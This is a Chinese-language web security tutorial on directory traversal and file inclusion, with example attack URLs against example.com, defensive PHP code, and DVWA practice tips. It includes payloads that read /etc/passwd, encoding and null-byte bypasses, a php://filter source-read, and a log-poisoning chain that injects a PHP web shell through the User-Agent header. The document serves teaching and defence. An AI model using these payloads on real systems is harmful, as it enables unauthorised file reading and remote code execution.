文章目录
- 前言
- [一 目录穿越漏洞](#一 目录穿越漏洞)
-
- [1.1 什么是目录穿越?](#1.1 什么是目录穿越?)
- [1.2 目录穿越的原理](#1.2 目录穿越的原理)
- [1.3 目录穿越的常见形式](#1.3 目录穿越的常见形式)
-
- [1.3.1 基本形式](#1.3.1 基本形式)
- [1.3.2 编码绕过](#1.3.2 编码绕过)
- [1.3.3 绝对路径攻击](#1.3.3 绝对路径攻击)
- [1.4 实战案例解析](#1.4 实战案例解析)
-
- [1.4.1 案例1:简单的目录穿越](#1.4.1 案例1:简单的目录穿越)
- [1.4.2 案例2:编码绕过](#1.4.2 案例2:编码绕过)
- [1.5 目录穿越的危害](#1.5 目录穿越的危害)
- 二、文件包含漏洞详解
-
- [2.1 什么是文件包含?](#2.1 什么是文件包含?)
- [2.2 文件包含的原理](#2.2 文件包含的原理)
- [2.3 文件包含的利用技巧](#2.3 文件包含的利用技巧)
-
- [2.3.1 LFI进阶利用](#2.3.1 LFI进阶利用)
- [2.3.2 RFI利用条件](#2.3.2 RFI利用条件)
- [2.4 实战案例解析](#2.4 实战案例解析)
-
- [2.4.1 案例1:基本的LFI](#2.4.1 案例1:基本的LFI)
- [2.4.2 案例2:日志文件包含](#2.4.2 案例2:日志文件包含)
- [2.4.3 案例3:PHP伪协议利用](#2.4.3 案例3:PHP伪协议利用)
- [2.5 文件包含的危害](#2.5 文件包含的危害)
- 三、漏洞防御方案
-
- [3.1 目录穿越防御措施](#3.1 目录穿越防御措施)
- [3.2 文件包含防御措施](#3.2 文件包含防御措施)
- 四、实战演练环境搭建
-
- [4.1 DVWA环境配置](#4.1 DVWA环境配置)
- [4.2 目录穿越练习](#4.2 目录穿越练习)
- 五、漏洞挖掘与审计
-
- [5.1 如何发现目录穿越漏洞](#5.1 如何发现目录穿越漏洞)
- [5.2 如何发现文件包含漏洞](#5.2 如何发现文件包含漏洞)
- [5.3 代码审计要点](#5.3 代码审计要点)
前言
- 在Web安全领域,目录穿越(Directory Traversal)和文件包含(File Inclusion)是两种常见且危险的漏洞类型。本文将系统性地介绍这两种漏洞的原理、危害、利用方式及防御措施。
一 目录穿越漏洞
1.1 什么是目录穿越?
-
目录穿越(Directory Traversal),又称路径遍历(Path Traversal),是一种允许攻击者访问Web服务器文件系统中本不应公开的文件的漏洞。攻击者通过操纵文件路径参数,使用".../"等特殊符号跳出预期的目录限制。
-
类比理解:想象你在一栋大楼里,每个房间都有严格的门禁。目录穿越就像找到了大楼设计上的漏洞,通过特定的路径组合,可以进入任何房间,甚至是管理员办公室。
1.2 目录穿越的原理
- Web应用程序通常会使用动态文件路径来访问服务器上的资源。例如:
bash
http://example.com/loadFile?filename=report.pdf
- 如果应用程序没有正确验证filename参数,攻击者可以构造恶意路径:
bash
http://example.com/loadFile?filename=../../etc/passwd
1.3 目录穿越的常见形式
1.3.1 基本形式
- Unix/Linux系统:使用
../
返回上级目录 - Windows系统:使用
..\
或../
返回上级目录
1.3.2 编码绕过
- URL编码:
%2e%2e%2f
=../
- 双重编码:
%252e%252e%252f
=../
- Unicode编码:
..%c0%af
=../
(某些系统)
1.3.3 绝对路径攻击
- 直接指定绝对路径:
bash
filename=/etc/passwd
1.4 实战案例解析
1.4.1 案例1:简单的目录穿越
- 假设有一个图片查看服务:
bash
http://example.com/viewImage?file=userUploads/avatar123.jpg
- 攻击者尝试:
bash
http://example.com/viewImage?file=../../../../etc/passwd
- 如果服务未做防护,可能返回系统的passwd文件内容。
1.4.2 案例2:编码绕过
- 某网站过滤了
../
但未考虑编码: - 正常请求:
bash
http://example.com/download?file=document.pdf
- 攻击请求:
bash
http://example.com/download?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd
1.5 目录穿越的危害
- 敏感信息泄露:读取密码文件、配置文件等
- 系统文件篡改:修改关键系统文件
- 源代码泄露:获取应用程序源代码
- 辅助其他攻击:为后续攻击提供信息
二、文件包含漏洞详解
2.1 什么是文件包含?
- 文件包含(File Inclusion)漏洞发生在应用程序动态包含文件时,未正确验证用户控制的文件路径参数,导致可以包含恶意文件。
文件包含分为两种:
- 本地文件包含(LFI, Local File Inclusion):包含服务器本地的文件
- 远程文件包含(RFI, Remote File Inclusion):包含远程服务器上的文件
2.2 文件包含的原理
- 许多编程语言支持动态文件包含功能,例如PHP的
include()
、require()
函数。当用户输入直接作为包含参数时,就可能产生漏洞。PHP示例:
php
<?php
$page = $_GET['page'];
include($page . '.php');
?>
- 正常访问:
bash
http://example.com/index.php?page=home
- 恶意访问:
bash
http://example.com/index.php?page=/etc/passwd%00
(使用null字节%00截断.php后缀)
2.3 文件包含的利用技巧
2.3.1 LFI进阶利用
- 日志文件注入:通过包含access.log或error.log,结合UA或Referer注入PHP代码
- PHP伪协议 :
php://filter
:读取文件源码php://input
:执行POST数据中的代码
- Session文件包含:通过包含session文件执行代码
2.3.2 RFI利用条件
allow_url_fopen
和allow_url_include
设置为On- 目标文件后缀会被解析为PHP(如.jpg的PHP后门)
2.4 实战案例解析
2.4.1 案例1:基本的LFI
- 某PHP网站:
bash
http://example.com/index.php?module=contact
- 后端代码:
php
include($_GET['module'] . '.php');
攻击:
bash
http://example.com/index.php?module=../../../../etc/passwd%00
2.4.2 案例2:日志文件包含
-
确定服务器使用Apache,日志位于/var/log/apache2/access.log
-
在User-Agent中插入PHP代码:
jsUser-Agent: <?php system($_GET['cmd']); ?>
-
包含日志文件:
bashhttp://example.com/index.php?page=/var/log/apache2/access.log
-
执行命令:
bashhttp://example.com/index.php?page=/var/log/apache2/access.log&cmd=id
2.4.3 案例3:PHP伪协议利用
-
读取PHP文件源码:
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index
-
返回base64编码的源码,解码后可得原始代码。
2.5 文件包含的危害
- 任意代码执行:最严重的后果
- 敏感信息泄露:同目录穿越
- 网站篡改:植入后门或恶意内容
- 服务器沦陷:作为跳板攻击内网
三、漏洞防御方案

3.1 目录穿越防御措施
-
输入验证:
- 白名单验证:只允许预期的文件名
- 黑名单过滤:过滤
../
、..\
等 - 正则表达式:
/^[a-zA-Z0-9]+\.pdf$/
-
路径规范化:
- 解析路径中的
.
和..
- 使用语言内置函数如PHP的
realpath()
- 解析路径中的
-
文件系统限制:
- 使用chroot jail
- 设置适当的文件权限
-
示例代码(PHP):
php
$base_dir = '/var/www/uploads/';
$user_file = $_GET['file'];
$real_path = realpath($base_dir . $user_file);
if (strpos($real_path, $base_dir) !== 0) {
die('非法路径访问!');
}
3.2 文件包含防御措施
-
避免动态包含:
- 使用静态包含
- 使用switch-case结构替代
-
白名单验证:
php
$allowed = ['home', 'contact', 'about'];
$page = $_GET['page'];
if (!in_array($page, $allowed)) {
die('非法页面请求!');
}
include($page . '.php');
-
设置PHP配置:
allow_url_include = Off
allow_url_fopen = Off
-
文件路径限制:
- 设置包含目录
- 禁止包含用户上传目录
-
使用安全函数:
basename()
:只返回文件名部分realpath()
+ 前缀检查
四、实战演练环境搭建
4.1 DVWA环境配置
- 下载Damn Vulnerable Web Application(DVWA)
- 配置PHP环境(建议5.4+)
- 设置DVWA安全级别为"low"进行练习
4.2 目录穿越练习
- 在DVWA中选择"File Inclusion"
- 尝试读取服务器上的
/var/www/html/vulnerabilities/fi/help/help.php
文件 - 尝试使用不同编码方式绕过
五、漏洞挖掘与审计
5.1 如何发现目录穿越漏洞
- 参数分析 :
- 查找文件路径参数(file, path, page等)
- 测试参数是否接受路径遍历序列
- 测试方法 :
- 基础测试:尝试
../../etc/passwd
- 编码测试:尝试URL编码、双重编码
- 边界测试:尝试不同数量的
../
- 基础测试:尝试
5.2 如何发现文件包含漏洞
-
参数分析:
- 查找包含功能的参数(include, page, module等)
- 测试参数是否可以包含远程文件
-
测试方法:
- 基础LFI测试
- RFI测试(需配置允许)
- 特殊协议测试(php://, data://等)
5.3 代码审计要点
-
危险函数识别:
- PHP:
include
,require
,include_once
,require_once
,fopen
等 - Java:
FileInputStream
,RandomAccessFile
等 - .NET:
File.Open
,File.ReadAllText
等
- PHP:
-
输入追踪:
- 跟踪用户输入如何传递到文件操作函数
- 检查是否有足够的验证和过滤